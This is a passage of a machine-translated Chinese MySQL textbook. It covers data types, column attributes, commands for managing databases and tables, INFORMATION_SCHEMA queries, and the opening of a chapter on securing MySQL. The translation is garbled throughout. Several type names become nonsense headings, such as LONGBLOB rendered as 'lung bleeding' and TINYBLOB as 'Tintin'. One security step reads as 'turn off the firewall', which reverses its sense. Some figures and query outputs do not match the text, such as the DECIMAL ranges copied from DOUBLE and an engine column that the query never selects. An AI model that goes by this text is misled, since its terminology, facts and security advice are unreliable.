  • 两位数字符串 : "00""99."范围在"00""69"之间的值被转换为范围在"2000""2069,"之间的值,而范围在"70""99"之间的值被转换为范围在"1970""1999."之间的值

  • 四位数字 字符串 : "1901""2155."

数字数据类型

有许多类型可以用来表示数字数据。

注意

许多数字数据类型允许您约束最大显示大小,在下面的定义中,由类型名称后面的M参数表示。许多浮点类型允许您指定小数点后的位数,由参数D表示。这些参数以及相关的属性都是可选的,用方括号表示。

布尔值,布尔值

BOOL和 BOOLEAN 只是 TINYINT(1)的别名,用于 0 或 1 的赋值。此数据类型是在 4.1.0 版中添加的。

比什特(m)

BIGINT数据类型提供了 MySQL 最大的整数范围,支持从–9,223,372,036,854,775,8089,223,372,036,854,775,807的有符号范围和从018,446,744,073,709,551,615的无符号范围。

INT[(M)][无符号][零填充]

INT数据类型提供了 MySQL 的第二大整数范围,支持从–2147483648 到 2147483647 的有符号范围和从 0 到 4294967295 的无符号范围。

中值[(M)][无符号][零填充]

MEDIUMINT数据类型提供了 MySQL 的第三大整数范围,支持从–8,388,6088,388,607的有符号范围和从016,777,215的无符号范围。

SMALLINT[(M)][无符号][零填充]

SMALLINT数据类型提供了 MySQL 的第四大整数范围,支持从–32,76832,767的有符号范围和从065,535的无符号范围。

TINYINT[(M)][无符号][零填充]

TINYINT数据类型是 MySQL 的最小整数范围,支持从–128127的有符号范围和从0255的无符号范围。

十进制([M[,D]])[无符号][零填充]

DECIMAL 数据类型是存储为字符串的浮点数,支持有符号范围–1.7976931348623157E+308–2.2250738585072014E–308和无符号范围2.2250738585072014E–3081.7976931348623157E+308。在确定数字的总大小时,小数点和减号将被忽略。

DOUBLE([M,D])[无符号][零填充]

DOUBLE数据类型为双精度浮点数,支持有符号范围–1.7976931348623157E+308–2.2250738585072014E–308和无符号范围2.2250738585072014E–3081.7976931348623157E+308

FLOAT([M,D])[无符号][零填充]

这个FLOAT数据类型变体是 MySQL 的单精度浮点数表示,支持从–3.402823466E+38–1.175494351E–38的有符号范围和从1.175494351E–383.402823466E+38的无符号范围。

浮点(精度)[无符号][零填充]

这个FLOAT数据类型变量是为了 ODBC 兼容性而提供的。单精度的精度范围在124之间,双精度的精度范围在2553之间。该范围与前面FLOAT定义中定义的范围相同。

字符串数据类型

许多类型可用于表示字符串数据。

[国家]字符(长度)[二进制| ASCII | UNICODE]

CHAR数据类型提供 MySQL 的固定长度字符串表示,支持最大 255 个字符的长度。如果插入的字符串没有占据所有的长度空间,剩余的空间将由空格填充。检索时,这些空格将被省略。如果Length是一个字符,用户可以省略长度参考,只需使用CHAR。您还可以结合NOT NULL属性指定一个零长度的CHAR,这将只允许NULL""。出于兼容性的原因,可以使用NATIONAL属性,因为这是 SQL-99 指定应该为列使用默认字符集的方式,MySQL 默认已经这样做了。提供BINARY属性会导致该列中的值以区分大小写的方式排序;省略它会导致它们以不区分大小写的方式排序。

如果Length大于 255,该列将自动转换为能够存储由提供的长度指定的值的最小的TEXT类型。同样从版本 4.1.0 开始,包含ASCII属性将导致对列应用 Latin1 字符集。最后,从版本 4.1.1 开始,包含UNICODE属性将导致对列应用 ucs2 字符集。

[国家] VARCHAR(长度)[二进制]

VARCHAR数据类型是 MySQL 的变长字符串表示,从 5.0.3 版本开始支持 0 到 65535 个字符的长度;从版本 4.0.2 开始为 0 到 255 个字符;以及 4.0.2 版之前的 1 到 255 个字符。出于兼容性的原因,可以使用NATIONAL属性,因为这是 SQL-99 指定应该为列使用默认字符集的方式(MySQL 默认已经这样做了)。提供BINARY属性会导致该列中的值以区分大小写的方式排序;省略它会导致它们以不区分大小写的方式排序。

从历史上看,VARCHAR不会存储任何尾随空格;但是,从版本 5.0.3 开始,出于符合标准的原因,它们被存储起来。

肺部出血

LONGBLOB数据类型是 MySQL 最大的二进制字符串表示,支持的最大长度为 4,294,967,295 个字符。

长文本

LONGTEXT 数据类型是 MySQL 最大的非二进制字符串表示,支持的最大长度为 4,294,967,295 个字符。

中庸之道

MEDIUMBLOB数据类型是 MySQL 的第二大二进制字符串表示,最多支持 16,777,215 个字符。

中文字

MEDIUMTEXT数据类型是 MySQL 的第二大非二进制文本字符串,能够存储的最大长度为 16,777,215 个字符。

一滴

BLOB数据类型是 MySQL 的第三大二进制字符串表示,支持的最大长度为 65,535 个字符。

文本

TEXT数据类型是 MySQL 的第三大非二进制字符串表示,支持的最大长度为 65,535 个字符。

丁丁历险记

TINYBLOB数据类型是 MySQL 最小的二进制字符串表示,支持最大 255 个字符的长度。

微小文本

TINYTEXT数据类型是 MySQL 最小的非二进制字符串表示,支持的最大长度为 255 个字符。

枚举("成员 1 ","成员 2 ","成员 65,535 ")

ENUM数据类型提供了一种方法,用于存储从一个预定义的组中选择的最多一个成员,该组包含最多 65,535 个不同的成员。成员的选择仅限于列定义中声明的那些成员。如果列声明包含属性NULL,那么NULL将被认为是一个有效值,并且将是默认值。如果声明了NOT NULL,列表的第一个成员将是默认的。

SET("成员 1 ","成员 2 ","成员 64 ")

SET数据类型提供了一种方法来指定从一个最多包含 64 个成员的预定义组中选择的零个或多个值。值的选择仅限于列定义中声明的值。存储要求是 1、2、3、4 或 8 个值,具体取决于成员的数量。您可以使用此公式确定确切的要求:( N +7)/8,其中 N 是集合大小。

空间数据类型

空间数据类型是具有多个标量值的复杂数据类型。例如,由两个值定义的点或具有多个值的面,这些值描述了面中每个点的 x 和 y 坐标。支持的空间数据类型有GEOMETRYPOINTLINESTRINGPOLYGON。这些类型可以存储每种类型的单个值。还提供了一组可以存储值集合的空间数据类型。这些被称为MULTIPOINTMULTILINESTRINGMULTIPOLYGONGEOMETRYCOLLECTION。详见 https://dev.mysql.com/doc/refman/5.7/en/spatial-types.html

JSON 数据类型

JSON 是 JavaScript 对象的文本表示,它可以存储在字符串列中,但是在搜索时使用字符串列有一些限制。当插入或更新数据时,本机JSON列类型执行验证。可以选择 JSON 对象的一部分,或者选择 JSON 对象具有特定值的行。更多信息可以在这里找到 https://dev.mysql.com/doc/refman/5.7/en/json.html

JSON数据类型允许您在数据库、PHP 脚本和 JavaScript 前端应用中使用相同的对象格式。

数据类型属性

虽然这个列表并不详尽,但是本节介绍了您最常用的属性,以及将在本书剩余部分使用的属性。

自动增量

AU TO_INCREMENT 属性去掉了许多数据库驱动的应用中所必需的逻辑层次:为新插入的行分配唯一整数标识符的能力。将该属性分配给列将导致最后插入的 ID +1 分配给每个新插入的行。

MySQL 要求将AUTO_INCREMENT属性与指定为主键的列结合使用。此外,每个表只允许有一个 AUTO_INCREMENT 列。下面是一个AUTO_INCREMENT列赋值的例子:

id SMALLINT NOT NULL AUTO_INCREMENT PRIMARY 

KEY

二进制的

BINARY属性仅与CHARVARCHAR值一起使用。当列被赋予该属性时,它们将以区分大小写的方式排序(根据它们的 ASCII 机器值)。这与省略BINARY属性时不区分大小写的排序形成对比。下面是一个BINARY列赋值的例子:

hostname CHAR(25) BINARY NOT 

NULL

系统默认值

默认属性确保当没有其他值可用时,将分配某个常数值。这个值必须是一个常量,因为 MySQL 不允许插入函数值或表达式值。此外,该属性不能与BLOBTEXT字段一起使用。如果NULL属性已经分配给这个字段,如果没有指定默认值,默认值将为空。否则(具体来说,如果NOT NULL是伴随属性),默认值将取决于字段数据类型。

下面是一个DEFAULT属性分配的例子:

subscribed ENUM('No','Yes') NOT NULL 

DEFAULT 'No'

指数

如果所有其他因素都相同,使用索引通常是加快数据库查询速度的最重要的一步。索引一个列会为该列创建一个排序的键数组,每个键都指向其对应的表行。随后在这个有序的键数组中搜索输入条件,与搜索整个无索引的表相比,性能会有很大的提高,因为 MySQL 已经拥有了这个有序的数组。以下示例演示了如何对用于存储雇员姓氏的列进行索引:

CREATE TABLE employees (
   id VARCHAR(9) NOT NULL,
   firstname VARCHAR(15) NOT NULL,
   lastname VARCHAR(25) NOT NULL,
   email VARCHAR(45) NOT NULL,
   phone VARCHAR(10) NOT NULL,
   INDEX lastname (lastname),
   PRIMARY KEY(id));

或者,可以在使用 MySQL 的CREATE INDEX命令创建表后添加索引:

CREATE INDEX lastname ON employees (lastname(7));

这一节与前一节略有不同,这次只索引名字的前七个字符,因为可能不需要更多的字母来区分名字。使用较小的索引时,Select 性能通常会更好,因此只要可行,就应该尽量使用较小的索引。插入性能会受到索引的影响,因为服务器必须插入数据并为新行创建所有索引条目。在批量插入的情况下,通常最好删除索引,插入数据,然后在表上重新创建索引。

国家的

NA可选属性仅与 CHAR 和 VARCHAR 数据类型结合使用。当指定时,它确保该列使用默认字符集,MySQL 默认已经这样做了。简而言之,这个属性是作为数据库兼容性的辅助工具提供的。

不为空

将列定义为NOT NULL将禁止任何向列中插入NULL值的尝试。总是建议在相关的地方使用NOT NULL属性,因为它至少会导致基线验证,即所有必需的值都已传递给查询。下面是一个NOT NULL列分配的例子:

zipcode VARCHAR(10) NOT 

NULL

NULL属性表示允许一列没有值。请记住,NULL是一个数学术语,表示“虚无”,而不是空字符串或零。当一个列被赋予NULL属性时,无论其他行字段是否已经被填充,该字段都有可能保持为空。

默认情况下,NULL属性被分配给一个字段。通常,您会希望避免此默认值,确保表中不接受空值。这是通过上面介绍的NULL的对立面NOT NULL来实现的。

主关键字

PRIMARY KEY属性用于保证给定行的唯一性。指定为主键的列中的值在该列中不可重复或为空。将AUTO_INCREMENT属性分配给被指定为主键的列是很常见的,因为该列不一定与行数据有任何关系,只是充当它的唯一标识符。但是,还有另外两种方法可以确保记录的唯一性:

  • 单字段主键:当数据库中的每一行都有预先存在的、不可修改的唯一标识符时,通常使用单字段主键,比如零件号或社会保险号。请注意,该键一旦设置,就不应更改。主键不应包含除标识表中特定行之外的任何信息。

  • 多字段主键:当不能保证一个记录中任何单个字段的唯一性时,多字段主键会很有用。因此,多个字段被连接起来以确保唯一性。国家和邮政编码就是一个例子。同一个邮政编码可能存在于多个国家,因此有必要使用国家和邮政编码的组合作为主键。当出现这种情况时,简单地指定一个AUTO_INCREMENT整数作为主键通常是个好主意;这减轻了每次插入都生成唯一标识符的需要。

以下三个示例分别演示了自动递增、单字段和多字段主键字段的创建。

创建自动递增的主键:

CREATE TABLE employees (
   id SMALLINT NOT NULL AUTO_INCREMENT,
   firstname VARCHAR(15) NOT NULL,
   lastname VARCHAR(25) NOT NULL,
   email VARCHAR(55) NOT NULL,
   PRIMARY KEY(id));

创建单字段主键:

CREATE TABLE citizens (
   id VARCHAR(9) NOT NULL,
   firstname VARCHAR(15) NOT NULL,
   lastname VARCHAR(25) NOT NULL,
   zipcode VARCHAR(9) NOT NULL,
   PRIMARY KEY(id));

创建多字段主键:

CREATE TABLE friends (
   firstname VARCHAR(15) NOT NULL,
   lastname VARCHAR(25) NOT NULL,
   nickname varchar(15) NOT NULL,
   PRIMARY KEY(lastname, nickname));

独一无二的

分配了UNIQUE属性的列将确保所有值都拥有不同的值,除了NULL值是可重复的。您通常将一个列指定为UNIQUE,以确保该列中的所有字段都是不同的——例如,防止同一个电子邮件地址被多次插入到新闻稿订户表中,同时承认该字段可能为空(NULL)。指定为UNIQUE的列的示例如下:

email VARCHAR(55) 

UNIQUE

零填充

ZEROFILL属性可用于任何数值类型,并将导致所有剩余的字段空间替换为零。例如,无符号INT的默认宽度是 10;因此,填零的INT值 4 将表示为 0000000004。下面是一个ZEROFILL属性分配的例子:

odometer MEDIUMINT UNSIGNED ZEROFILL NOT NULL

根据这个定义,值 35,678 将作为 0035678 返回。

使用数据库和表

学习如何管理和导航 MySQL 数据库和表是您想要掌握的首要任务之一。本节重点介绍几项关键任务。

使用数据库

本节演示了如何查看、创建、选择和删除 MySQL 数据库。

查看数据库

检索位于服务器上的数据库列表通常很有用。为此,执行SHOW DATABASES命令:

mysql>SHOW DATABASES;
+--------------------------------+
| Database                       |
+--------------------------------+
| information_schema             |
| book                           |
| corporate                      |
| mysql                          |
| test                           |
| wikidb                         |
+--------------------------------+
6 rows in set (0.57 sec)

请记住,用户权限会影响您查看给定服务器上所有可用数据库的能力。有关此事的更多信息,请参见第二十六章。

注意,使用SHOW DATABASES命令是 MySQL 版本 5.0.0 之前的标准方法。尽管该命令在 5.0.0 和更高版本中仍然可用,但请考虑使用通过INFORMATION_SCHEMA提供给您的命令。有关这个新特性的更多信息,请参见后面的“信息模式”一节。

创建数据库

创建数据库有两种常见的方法。也许最简单的方法是在mysql客户端中使用CREATE DATABASE命令创建它:

mysql>CREATE DATABASE company;
Query OK, 1 row affected (0.00 sec)

您也可以通过mysqladmin客户端创建一个数据库:

%>mysqladmin -u root -p create company
Enter password:
%>

数据库创建失败的常见问题包括权限不足或不正确,或者试图创建已经存在的数据库。

使用数据库

一旦创建了数据库,您可以通过使用USE命令将它指定为默认的工作数据库:

mysql>USE company;
Database changed

或者,您可以在通过mysql客户端登录时,通过在命令行上传递其名称来直接切换到该数据库,如下所示:

%>mysql -u root -p 

company

删除数据库

删除数据库的方式与创建数据库的方式非常相似。您可以使用DROP命令从mysql客户端中删除它,如下所示:

mysql>DROP DATABASE company;
Query OK, 1 row affected (0.00 sec)

或者,您可以从mysqladmin客户端删除它。这样做的好处是在删除之前会提示您:

%>mysqladmin -u root -p drop company
Enter password:
Dropping the database is potentially a very bad thing to do.
Any data stored in the database will be destroyed.

Do you really want to drop the 'company' database [y/N] y
Database "

company" 

dropped
%>

使用表格

在本节中,您将学习如何创建、列出、查看、删除和修改 MySQL 数据库表。

创建表格

使用CREATE TABLE语句创建一个表。虽然有大量的选项和条款专门针对这一声明,但在一个非正式的介绍中讨论它们似乎有点不切实际。相反,本节涵盖了本声明的各种功能,因为它们在以后的章节中会变得相关。尽管如此,这里将演示一般用法。例如,下面创建了本章开始时讨论的employees表:

CREATE TABLE employees (
   id TINYINT UNSIGNED NOT NULL AUTO_INCREMENT,
   firstname VARCHAR(25) NOT NULL,
   lastname VARCHAR(25) NOT NULL,
   email VARCHAR(45) NOT NULL,
   phone VARCHAR(10) NOT NULL,
   PRIMARY KEY(id));

请记住,一个表必须至少包含一列。此外,在创建表结构之后,您可以随时返回并修改它。在本节的后面,您将了解如何通过ALTER TABLE语句来实现这一点。

无论当前是否使用目标数据库,您都可以创建一个表。只需在表名前面加上目标数据库名,如下所示:

database_name.table_name

有条件地创建表

默认情况下,如果您试图创建一个已经存在的表,MySQL 会生成一个错误。为了避免这个错误,CREATE TABLE语句提供了一个子句,如果您想在目标表已经存在的情况下简单地中止创建表的尝试,可以包含这个子句。例如,假设您想要分发一个依赖 MySQL 数据库存储数据的应用。因为有些用户会下载最新版本作为升级的必然选择,而有些用户会第一次下载,所以您的安装脚本需要一种简单的方法来创建新用户的表,同时不会在升级过程中导致错误的过度显示。这是通过IF NOT EXISTS子句完成的。因此,如果您想创建一个不存在的employees表,请执行以下操作:

CREATE TABLE IF NOT EXISTS employees (
   id TINYINT UNSIGNED NOT NULL AUTO_INCREMENT,
   firstname VARCHAR(25) NOT NULL,
   lastname VARCHAR(25) NOT NULL,
   email VARCHAR(45) NOT NULL,
   phone VARCHAR(10) NOT NULL,
   PRIMARY KEY(id));

这个动作的一个奇怪之处是输出没有指定表是否被创建。在返回到命令提示符之前,这两种变体都显示“Query OK”消息。

复制表格

基于现有的表创建一个新表是一件很简单的事情。下面的查询产生了一个employees表的精确副本,将其命名为employees2:

CREATE TABLE employees2 SELECT * FROM employees;

一个相同的表employees2将被添加到数据库中。

有时,您需要仅基于在预先存在的表中找到的几列来创建表。您可以通过简单地在CREATE SELECT语句中指定列来做到这一点:

CREATE TABLE employees3 SELECT firstname, lastname FROM 

employees;

创建临时表

有时,创建生存期仅与当前会话一样长的表很有用。例如,您可能需要对一个特别大的表的子集执行几个查询。您可以为该子集创建一个临时表,然后对其运行查询,而不是对整个表重复运行这些查询。这是通过结合使用TEMPORARY关键字和CREATE TABLE语句来实现的:

CREATE TEMPORARY TABLE emp_temp SELECT firstname,lastname FROM employees;

创建临时表就像创建任何其他表一样,只是它们存储在操作系统指定的临时目录中,在 Linux 上通常是/tmp/usr/tmp。您可以通过设置 MySQL 的TMPDIR环境变量来覆盖这个默认值。

注意

从 MySQL 4.0.2 开始,创建临时表需要拥有CREATE TEMPORARY TABLE特权。参见第二十六章了解更多关于 MySQL 特权系统的细节。

查看数据库的可用表

您可以使用SHOW TABLES语句查看数据库可用的表列表:

mysql>SHOW TABLES;
+-------------------------------+
| Tables_in_company             |
+-------------------------------+
| employees                     |
+-------------------------------+
1 row in set (0.00 sec)

请注意,这是 MySQL 版本 5.0.0 之前的标准方法。尽管该命令在 5.0.0 及更高版本中仍然可用,但请考虑使用通过INFORMATION_SCHEMA提供给您的命令。有关这个新特性的更多信息,请参见后面的“信息模式”一节。

查看表格结构

您可以使用DESCRIBE语句查看表格结构:

mysql>DESCRIBE employees;
+-----------+---------------------+------+-----+---------+---------------+
| Field     | Type                | Null | Key | Default | Extra         |
+-----------+---------------------+------+-----+---------+---------------+
| id        | tinyint(3) unsigned |      | PRI | NULL    | auto_increment|
| firstname | varchar(25)         |      |     |         |               |
| lastname  | varchar(25)         |      |     |         |               |
| email     | varchar(45)         |      |     |         |               |
| phone     | varchar(10)         |      |     |         |               |
+-----------+---------------------+------+-----+---------+---------------+

或者,您可以像这样使用SHOW命令来产生相同的结果:

mysql>SHOW columns IN employees;

如果您想对如何解析模式进行更多的控制,可以考虑使用 INFORMATION_SCHEMA 提供的命令,这将在下一节“INFORMATION_SCHEMA”中介绍

删除表格

删除一个表是通过DROP TABLE语句完成的。其语法如下:

DROP [TEMPORARY] TABLE [IF EXISTS] tbl_name [, tbl_name,...]

例如,您可以删除您的employees表,如下所示:

DROP TABLE employees;

您也可以像这样同时删除employees2employees3表格:

DROP 

TABLE 

employees2, employees3;

改变表格结构

您会发现自己经常修改和改进表结构,尤其是在开发的早期阶段。但是,您不必在每次想要进行更改时都经历删除和重新创建表的麻烦。相反,您可以用ALTER语句改变表的结构。使用该语句,您可以根据需要删除、修改和添加列。像CREATE TABLE一样,ALTER TABLE语句提供了大量的子句、关键字和选项。这留给你在 MySQL 手册中查找血淋淋的细节。本节提供了几个示例,旨在帮助您快速入门,从添加列开始。假设您想用employees表跟踪每个雇员的生日:

ALTER TABLE employees ADD COLUMN birthdate DATE;

新列被放置在表格的最后一个位置。但是,您也可以通过使用适当的关键字来控制新列的定位,包括FIRSTAFTERLAST。例如,您可以将birthdate列直接放在lastname列之后,如下所示:

ALTER TABLE employees ADD COLUMN birthdate DATE AFTER lastname;

呜呜,你忘了NOT NULL条款!您可以修改新列:

ALTER TABLE employees CHANGE birthdate birthdate DATE NOT NULL;

最后,在这一切之后,您决定没有必要跟踪员工的生日。继续删除该列:

ALTER TABLE employees DROP 

birthdate;

信息模式

在本章的前面,您已经了解到SHOW命令用于了解服务器中的数据库、数据库中的表以及组成表的列。事实上,SHOW用于了解服务器的配置,包括用户权限、支持的表引擎、执行的进程等等。问题是SHOW不是一个标准的数据库特性;这完全是 MySQL 固有的东西。此外,它不是特别强大。例如,不可能使用命令来了解表的引擎类型。比方说,也不能轻易地找出一组给定表中的哪些列是类型VARCHAR。版本 5.0.2 中INFORMATION_SCHEMA的引入解决了这样的问题。

在 SQL 标准的支持下,INFORMATION_SCHEMA提供了一个使用典型的选择查询来了解更多关于数据库和各种服务器设置的解决方案。由 28 个表组成,它可以了解您安装的几乎每一个方面。下表列出了表名和简要描述:

  • CHARACTER_SETS:存储可用字符集的信息。

  • COLLATIONS:存储关于字符集归类的信息。

  • COLLATION_CHARACTER_SET_APPLICABILITY:是INFORMATION_SCHEMA.COLLATIONS表的子集,它将字符集与各自的归类进行匹配。

  • COLUMNS:存储关于表格列的信息,例如列名、数据类型以及是否可以为空。

  • COLUMN_PRIVILEGES:存储列权限信息。请记住,该信息实际上是从mysql.columns_priv表中检索的;但是,从该表中检索它提供了在查询数据库属性时获得额外一致性的机会。更多信息请参见第二十九章。

  • ENGINES:存储可用存储引擎的信息。

  • EVENTS:存储预定事件的信息。预定事件超出了本书的范围;更多信息请参考 MySQL 文档。

  • FILES:存储 NDB 磁盘数据表信息。NDB 是一个存储引擎,超出了本书的范围;更多信息请参考 MySQL 文档。

  • GLOBAL_STATUS:存储服务器状态变量的信息。

  • GLOBAL_VARIABLES:存储有关服务器设置的信息。

  • KEY_COLUMN_USAGE:存储关于键列约束的信息。

  • PARTITIONS:存储关于表分区的信息。

  • 存储关于插件的信息,这是 MySQL 5.1 的新特性,不在本书讨论范围之内。更多信息请参考 MySQL 文档。

  • PROCESSLIST:存储当前正在运行的线程的信息。

  • PROFILING:存储查询概要信息。您也可以通过执行SHOW PROFILESHOW PROFILES命令找到这些信息。

  • REFERENTIAL_CONSTRAINTS:存储关于外键的信息。

  • ROUTINES:存储关于存储过程和函数的信息。见第三十二章了解更多关于这个话题的信息。

  • SCHEMATA:存储位于服务器上的数据库信息,如数据库名称和默认字符集。

  • SCHEMA_PRIVILEGES:存储数据库权限信息。请记住,该信息实际上是从mysql.db表中检索的;但是,从该表中检索它提供了在查询数据库属性时获得额外一致性的机会。关于这个主题的更多信息,请参见第二十九章。

  • SESSION_STATUS:存储当前会话的信息。

  • SESSION_VARIABLES:存储当前会话的配置信息。

  • STATISTICS:存储关于每个表索引的信息,比如列名、是否可以为空,以及每行是否必须是唯一的。

  • TABLES:存储每个表的信息,比如名称、引擎、创建时间和平均行长度。

  • TABLE_CONSTRAINTS:存储表约束的信息,如是否包含UNIQUEPRIMARY KEY列。

  • TABLE_PRIVILEGES:存储表权限信息。请记住,该信息实际上是从mysql.tables_priv表中检索的;但是,从该表中检索它提供了在查询数据库属性时获得额外一致性的机会。更多信息请参见第二十九章。

  • TRIGGERS:存储关于每个触发器的信息,例如它是否根据插入、删除或修改而触发。注意,直到版本 5.0.10,这个表才被添加到INFORMATION_SCHEMA中。详见第三十三章。

  • USER_PRIVILEGES:存储全局权限信息。请记住,该信息实际上是从mysql.user表中检索的;但是,从该表中检索它提供了在查询数据库属性时获得额外一致性的机会。更多信息请参见第二十九章。

  • VIEWS:存储关于每个视图的信息,比如它的定义和它是否可更新。更多信息见第三十四章。

要检索驻留在服务器上的数据库中找到的所有表名和相应引擎类型的列表,除了在mysql数据库中找到的那些,执行以下命令:

mysql>USE INFORMATION_SCHEMA;
mysql>SELECT table_name FROM tables WHERE table_schema != 'mysql';
+------------------------+--------+
| table_name             | engine |
+------------------------+--------+
| authentication_dynamic | MyISAM |
| authentication_static  | MyISAM |
| products               | InnoDB |
| selectallproducts      | NULL   |
| users                  | MEMORY |
+------------------------+--------+
5 rows in set (0.09 sec)

要选择公司数据库中数据类型为VARCHAR的表名和列名,执行以下命令:

mysql>select table_name, column_name from columns WHERE
    -> data_type="varchar" and table_schema="corporate";
+------------------------+-------------+
| table_name             | column_name |
+------------------------+-------------+
| authentication_dynamic | username    |
| authentication_dynamic | pswd        |
| products               | name        |
| selectallproducts      | name        |
| users                  | username    |
| users                  | pswd        |
+------------------------+-------------+
6 rows in set (0.02 sec)

从这些简短的例子中可以看出,使用SELECT查询来检索这些信息比使用SHOW要灵活得多。此外,SHOW司令部不太可能很快消失。因此,如果你只是在寻找一个快速的摘要,比如说,在服务器上找到的数据库,你肯定会通过继续使用SHOW来节省一些击键的时间。

摘要

在本章中,您了解了 MySQL 表设计中的许多要素。这一章以对 MySQL 存储引擎的调查开始了讨论,讨论了每种引擎的用途和优点。讨论之后介绍了 MySQL 支持的数据类型,提供了关于每种数据类型的名称、用途和范围的信息。然后研究了许多最常用的属性,这些属性用于进一步调整列的行为。这一章接着介绍了一个关于基本 MySQL 管理命令的简短教程,演示了如何列出、创建、删除、浏览和修改数据库和表。最后,向您介绍了 MySQL 5.0.2 和更新版本中的INFORMATION_SCHEMA特性。这一章还提到了名为 MariaDB 的数据库,以及该数据库与 MySQL 兼容的事实,因为它共享相同的根。

下一章深入探讨 MySQL 的另一个关键特性:安全性。您将了解 MySQL 强大的特权表。您还将了解如何保护 MySQL 服务器守护进程,以及如何使用 SSL 创建安全的 MySQL 连接。

二十六、保护 MySQL

这已经成为一种自然的反应:当你走出家门或汽车时,你会花一点时间锁上门,设置闹钟。您这样做是因为您知道忽略采取这些基本而有效的预防措施会大大增加您的财产被盗或损坏的可能性。具有讽刺意味的是,整个 IT 行业似乎采取了相反的方法。尽管知识产权盗窃和破坏在企业 IT 系统中普遍存在,但许多开发人员继续投入最少的时间和精力来创建安全的计算环境。尽管包括 MySQL 在内的许多软件产品都以最低的配置要求提供了强大的内置安全特性,但还是出现了这种情况。在这一章中,我将介绍 MySQL 高效的基于权限的访问模型,通过大量的例子展示给你的数据库增加一个看似不可逾越的安全层是多么容易。

注意

恶意攻击并不是数据损坏或破坏的唯一原因。太多的开发人员和管理员选择使用拥有远远超过所需权限的帐户。最终,执行了一个从一开始就不应该被允许的命令,导致了严重的损害。这一章告诉你如何避免这样的灾难。

本章非常详细地介绍了 MySQL 所谓的用户权限系统,向您展示了如何创建用户、管理权限和更改密码。此外,还介绍了 MySQL 的安全(SSL)连接特性。您还将学习如何限制用户资源消耗。完成本章后,您应该熟悉以下主题:

  • 首次启动 MySQL 守护进程后应立即采取的步骤

  • 如何保护mysqld守护进程

  • MySQL 的访问权限系统

  • GRANTREVOKE功能

  • 用户帐户管理

  • 使用 SSL 创建安全的 MySQL 连接

请记住,保护 MySQL 只是保护系统所需的步骤之一。运行 MySQL 服务器和可能的 web 服务器的操作系统应该总是打补丁,并且所有端口都由防火墙保护,因此只有需要的端口暴露给外界(端口 22 上的 SSH 和端口 80 和 443 上的 http/https 应该在大多数基于 Linux 的托管环境中开放)。您还应该记住保护 web 应用的安全,并确保它在设计时考虑到了安全性,并防止跨端脚本和 SQL 注入。(参见第十九章)让我们从头开始:在用 MySQL 数据库服务器做其他事情之前,你应该做什么

你应该先做什么

本节概述了在完成第二十三章中概述的安装和配置过程后,您应该立即执行的几项基本但非常重要的任务:

  • 为操作系统和任何已安装的软件打补丁:如今,软件安全更新似乎每周都会发布,尽管它们很烦人,但你绝对有必要采取措施确保你的系统打满补丁。有了因特网上现成的明确说明和工具,即使是恶意的新手也能轻而易举地利用未打补丁的服务器。自动扫描设备增加了您的未打补丁的服务器被发现并受到危害的可能性。如果你考虑将应用托管在一个托管提供商处,那么一定要研究该提供商的安全记录,以确保及时应用补丁。大多数 Linux 发行版都提供了一种在更新可用时得到通知的方式。在 Red Hat 和 CentOS 系统上,这是通过安装 yum.cron 包来完成的。

  • 禁用所有未使用的系统服务:在将服务器连接到网络之前,请务必禁用所有不必要的系统服务。例如,如果您不打算从服务器发送电子邮件,那么就没有理由让服务器的 SMTP 守护进程处于启用状态。

  • 关闭防火墙:虽然关闭未使用的系统服务是减少攻击成功概率的一个很好的方法,但是通过关闭所有未使用的端口来增加第二层安全保护是没有坏处的。对于专用的数据库服务器,考虑关闭除指定的 SSH 端口 3306 (MySQL)和少数“实用程序”端口(如 123 (NTP))之外的所有端口。除了在专用防火墙设备或路由上进行此类调整之外,还可以考虑利用操作系统的防火墙。还可以考虑配置防火墙,禁止除本地网络上的计算机之外的任何地址访问端口 3306。如果有必要通过互联网连接管理服务器,建议使用私钥/公钥来访问 ssh 服务,而不是使用 usrid/密码。

  • 审计服务器的用户帐户:特别是如果一个已存在的服务器被重新用于托管组织的数据库,确保所有非特权用户被禁用,或者更好的是,被删除。尽管您很快就会了解到,MySQL 用户和操作系统用户是完全不相关的,但是后者用户能够访问服务器环境这一事实就增加了对数据库服务器及其内容造成损害的可能性,无论是无意的还是其他方式。为了完全确保在此类审核过程中没有任何遗漏,请考虑重新格式化所有服务器驱动器并重新安装操作系统。

  • 设置 MySQL root 用户密码:默认情况下,MySQL root(管理员)账户密码为空。因此,如果您还没有设置 root 用户的默认密码,那么您应该注意立即设置它!您可以使用SET PASSWORD命令来完成,如下所示:

    %> mysql -u root mysql
    %> UPDATE mysql.user SET Password = PASSWORD('secret');
    %> flush privileges;
    
    
  • 当然要选择明显比secret复杂的密码。MySQL 会让你自掘坟墓,因为密码 123 和 abc 是完全可以接受的。考虑选择长度至少为八个字符的密码,并且由数字、字母和不同大小写的特殊字符混合组成。

  • 建议在安装后立即使用mysql_secure_installation脚本。这不仅会设置 root 密码,还会执行其他有助于创建更安全环境的操作。

保护 mysqld 守护进程

在第二十四章中,你学习了如何启动 MySQL 服务器守护进程mysqld。当您启动mysqld守护进程时,您可以使用几个安全选项:

  • --chroot:将服务器置于受限环境中,改变 MySQL 服务器识别的操作系统根目录。如果服务器通过 MySQL 数据库遭到破坏,这将极大地限制意外的后果。您必须在新的根结构中安装额外的库,以便像 MySQL 这样的应用运行。

  • --skip-networking:当连接到 MySQL 时,禁止使用 TCP/IP 套接字,这意味着无论提供什么凭证,都不接受远程连接。如果您的应用和数据库驻留在同一台服务器上,您应该考虑启用此选项。

  • --skip-name-resolve:连接 MySQL 数据库时禁止使用主机名,只允许使用 IP 地址或本地主机。这将强制连接到一个特定的 IP 地址,而不依赖于外部 DNS 服务器,因为外部 DNS 服务器可能会将主机名解析为不同的 IP 地址。

  • --skip-show-database:防止任何没有show databases权限的用户使用该命令查看服务器上托管的所有数据库的列表。您可以通过show databases权限为每个用户启用该功能。(有关user工作台的更多信息,请参见下一节。)当然,如果用户拥有某个特定于数据库的特权,那么仅仅拥有该特权就会导致相关数据库被列出来,以响应show databases命令的执行。

  • --safe-user-create:防止任何用户通过grant命令创建新用户,如果他们没有mysql.user表的insert权限。

MySQL 访问权限系统

